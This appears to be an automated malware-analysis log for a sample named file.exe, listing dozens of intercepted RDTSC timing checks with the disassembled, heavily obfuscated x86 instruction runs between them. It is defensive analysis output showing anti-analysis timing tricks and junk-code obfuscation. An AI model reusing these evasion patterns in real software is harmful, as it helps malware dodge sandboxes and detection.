Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E031 second address: 114E0AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F528074EBD8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 jl 00007F528074EBDCh 0x0000002a mov dword ptr [ebp+122D1C82h], eax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F528074EBD8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c push esi 0x0000004d mov edi, dword ptr [ebp+122D1ADEh] 0x00000053 pop edi 0x00000054 mov edi, dword ptr [ebp+122D358Ah] 0x0000005a push 00000000h 0x0000005c mov edi, 356CB160h 0x00000061 xchg eax, esi 0x00000062 je 00007F528074EBE4h 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E0AE second address: 114E0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F528105F326h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E0BF second address: 114E0C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D078 second address: 114D07C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D149 second address: 114D14F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D14F second address: 114D153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D153 second address: 114D16F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F528074EBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F528074EBDCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11538D1 second address: 11538D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11538D5 second address: 11538DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0481 second address: 10E0485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157E31 second address: 1157E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157E35 second address: 1157E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F528105F326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157E41 second address: 1157E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F528074EBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157E4B second address: 1157E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDC81 second address: 10EDCA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F528074EBD6h 0x0000000a popad 0x0000000b jmp 00007F528074EBE7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDCA3 second address: 10EDCA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDCA9 second address: 10EDCC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528074EBE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BDAD second address: 115BDB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BDB3 second address: 115BDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BDB7 second address: 115BDDC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F528105F326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007F528105F32Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 jl 00007F528105F326h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BDDC second address: 115BDE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6260 second address: 10F6264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6264 second address: 10F626F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F626F second address: 10F628F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jp 00007F528105F326h 0x0000000c push eax 0x0000000d pop eax 0x0000000e jnc 00007F528105F326h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push edi 0x0000001a pop edi 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C58C second address: 115C593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C72F second address: F7FBDB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F528105F328h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 331F9AB5h 0x00000011 jmp 00007F528105F32Fh 0x00000016 push dword ptr [ebp+122D0961h] 0x0000001c pushad 0x0000001d jo 00007F528105F329h 0x00000023 adc bh, 0000002Dh 0x00000026 popad 0x00000027 call dword ptr [ebp+122D357Ah] 0x0000002d pushad 0x0000002e sub dword ptr [ebp+122D1997h], ecx 0x00000034 xor eax, eax 0x00000036 stc 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b jmp 00007F528105F338h 0x00000040 mov dword ptr [ebp+122D3852h], eax 0x00000046 sub dword ptr [ebp+122D1B4Fh], esi 0x0000004c sub dword ptr [ebp+122D1997h], esi 0x00000052 mov esi, 0000003Ch 0x00000057 stc 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c mov dword ptr [ebp+122D1997h], esi 0x00000062 lodsw 0x00000064 cmc 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 pushad 0x0000006a jl 00007F528105F328h 0x00000070 mov ebx, edi 0x00000072 mov si, 6DB2h 0x00000076 popad 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b cld 0x0000007c nop 0x0000007d push eax 0x0000007e push edx 0x0000007f pushad 0x00000080 pushad 0x00000081 popad 0x00000082 js 00007F528105F326h 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116330F second address: 1163313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163313 second address: 1163319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163319 second address: 1163329 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBDBh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163329 second address: 116332F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11626B4 second address: 11626BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162DAC second address: 1162DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162DB0 second address: 1162DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528074EBE7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162F17 second address: 1162F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F528105F326h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11706A4 second address: 11706B0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F528074EBD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11706B0 second address: 11706FF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F528105F328h 0x00000008 pushad 0x00000009 jng 00007F528105F326h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F528105F337h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e js 00007F528105F326h 0x00000024 pop edi 0x00000025 push ecx 0x00000026 push edx 0x00000027 pop edx 0x00000028 jmp 00007F528105F332h 0x0000002d pop ecx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F3B7 second address: 116F3DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBDEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F528074EBDEh 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F3DF second address: 116F402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 js 00007F528105F326h 0x0000000c popad 0x0000000d jmp 00007F528105F336h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F402 second address: 116F408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F408 second address: 116F40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F40E second address: 116F412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F55C second address: 116F566 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F528105F326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F566 second address: 116F577 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 jc 00007F528074EBD6h 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F6E3 second address: 116F6E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F6E9 second address: 116F6F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007F528074EBD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F6F4 second address: 116F732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F528105F337h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F528105F336h 0x00000015 ja 00007F528105F326h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F732 second address: 116F73C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F528074EBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FA3B second address: 116FA50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jbe 00007F528105F326h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FA50 second address: 116FA92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE2h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F528074EBE9h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F528074EBDDh 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FA92 second address: 116FA96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FC17 second address: 116FC2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBDBh 0x00000007 pushad 0x00000008 jl 00007F528074EBD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FEAA second address: 116FEB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FEB2 second address: 116FEBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170171 second address: 1170175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174C55 second address: 1174C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174C5B second address: 1174C70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F331h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173BC2 second address: 1173BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F528074EBD6h 0x0000000a jmp 00007F528074EBDBh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173BDA second address: 1173BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F528105F326h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137CD0 second address: 1137CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137CD4 second address: 1137CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137CDA second address: 1137CDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137CDF second address: 1137D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jg 00007F528105F326h 0x00000012 pop edi 0x00000013 pop edx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F528105F328h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov edi, dword ptr [ebp+122D3806h] 0x00000035 mov ecx, 3CC8F487h 0x0000003a lea eax, dword ptr [ebp+1248B9F6h] 0x00000040 and ecx, dword ptr [ebp+122D3A7Ah] 0x00000046 jmp 00007F528105F32Eh 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F528105F32Bh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137D48 second address: 1113BA3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F528074EBDCh 0x00000008 jne 00007F528074EBD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push ecx 0x00000014 mov ecx, 3543D338h 0x00000019 pop edx 0x0000001a mov dword ptr [ebp+122D1876h], edi 0x00000020 call dword ptr [ebp+122D2918h] 0x00000026 jne 00007F528074EC03h 0x0000002c push ecx 0x0000002d jmp 00007F528074EBE9h 0x00000032 pop ecx 0x00000033 jg 00007F528074EBE2h 0x00000039 jmp 00007F528074EBDCh 0x0000003e pushad 0x0000003f pushad 0x00000040 je 00007F528074EBD6h 0x00000046 pushad 0x00000047 popad 0x00000048 jmp 00007F528074EBE4h 0x0000004d popad 0x0000004e push esi 0x0000004f jo 00007F528074EBD6h 0x00000055 pop esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F528074EBE5h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137E1C second address: 1137E40 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F528105F326h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F528105F334h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137E40 second address: 1137E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138315 second address: 1138319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138319 second address: F7FBDB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d pop edx 0x0000000e nop 0x0000000f sub dword ptr [ebp+122D1E2Ah], edi 0x00000015 push dword ptr [ebp+122D0961h] 0x0000001b jc 00007F528074EBEBh 0x00000021 call dword ptr [ebp+122D357Ah] 0x00000027 pushad 0x00000028 sub dword ptr [ebp+122D1997h], ecx 0x0000002e xor eax, eax 0x00000030 stc 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jmp 00007F528074EBE8h 0x0000003a mov dword ptr [ebp+122D3852h], eax 0x00000040 sub dword ptr [ebp+122D1B4Fh], esi 0x00000046 sub dword ptr [ebp+122D1997h], esi 0x0000004c mov esi, 0000003Ch 0x00000051 stc 0x00000052 add esi, dword ptr [esp+24h] 0x00000056 mov dword ptr [ebp+122D1997h], esi 0x0000005c lodsw 0x0000005e cmc 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 pushad 0x00000064 jl 00007F528074EBD8h 0x0000006a mov ebx, edi 0x0000006c mov si, 6DB2h 0x00000070 popad 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 cld 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a pushad 0x0000007b popad 0x0000007c js 00007F528074EBD6h 0x00000082 popad 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138433 second address: 1138438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138593 second address: 11385D4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F528074EBE7h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e mov edi, dword ptr [ebp+122D29CDh] 0x00000014 nop 0x00000015 pushad 0x00000016 jmp 00007F528074EBDAh 0x0000001b jc 00007F528074EBD8h 0x00000021 push edx 0x00000022 pop edx 0x00000023 popad 0x00000024 push eax 0x00000025 push edi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 pop eax 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11385D4 second address: 11385D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138806 second address: 113880B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138928 second address: 113892E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113892E second address: 1138950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 stc 0x0000000a push 00000004h 0x0000000c add dword ptr [ebp+122D1D55h], eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F528074EBDDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138950 second address: 1138955 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138C05 second address: 1138C80 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007F528074EBE5h 0x0000000d jmp 00007F528074EBDFh 0x00000012 nop 0x00000013 cmc 0x00000014 push 0000001Eh 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F528074EBD8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 call 00007F528074EBE3h 0x00000035 mov dword ptr [ebp+122D2C15h], eax 0x0000003b pop ecx 0x0000003c nop 0x0000003d push ebx 0x0000003e jbe 00007F528074EBEAh 0x00000044 jmp 00007F528074EBE4h 0x00000049 pop ebx 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push ecx 0x00000050 pop ecx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138C80 second address: 1138C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138C84 second address: 1138C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1139045 second address: 113909C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F528105F32Ch 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F528105F328h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a lea eax, dword ptr [ebp+1248BA3Ah] 0x00000030 mov ecx, dword ptr [ebp+122D2C4Ch] 0x00000036 nop 0x00000037 push edx 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b jng 00007F528105F326h 0x00000041 popad 0x00000042 pop edx 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push esi 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113909C second address: 11390A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
